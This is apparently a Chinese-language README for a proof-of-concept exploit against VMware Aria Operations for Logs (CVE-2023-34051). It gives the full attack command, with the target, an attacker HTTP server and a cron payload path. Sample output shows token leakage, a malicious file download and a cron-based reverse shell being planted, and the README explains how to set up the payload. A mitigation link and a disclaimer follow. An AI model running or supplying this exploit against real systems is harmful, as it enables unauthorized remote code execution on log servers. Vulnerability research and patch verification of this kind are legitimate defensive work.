VMware Aria Operations for Logs CVE-2023-34051
CVE-2023-34051 是一个认证绕过漏洞,绕过了 VMSA-2023-0001 的补丁。 VMSA-2023-0001(适用于 vRealize Log Insight)包含以下 CVE:
此漏洞的默认配置会写入一个 cron 任务以创建反向 shell。请务必根据您的环境更改 payload 文件。
漏洞的技术根本原因分析可在我们的博客中找到: https://www.horizon3.ai/vmware-aria-operations-for-logs-cve-2023-34051-technical-deep-dive
要分析 Log Insight 实例的入侵指标,请查看我们的 IOC 博客: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/
此 POC 利用 IP 地址欺骗和各种 Thrift RPC 端点来实现任意文件写入。
$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered
为使此攻击生效,攻击者必须与主/工作节点具有相同的 IP 地址。更多详情请参阅上文博客。
如果使用基于 cron 的 payload,请确保 payload 文件具有适当的权限和所有者:
sudo chown root:root payload
sudo chmod 0644 payload
更新到最新版本,或按照 VMSA 中的说明进行缓解 https://www.vmware.com/security/advisories/VMSA-2023-0021.html
此软件纯粹出于学术研究和开发有效防御技术的目的而创建,不应用于攻击系统,除非明确授权。项目维护者不对软件的滥用负责。请负责任地使用。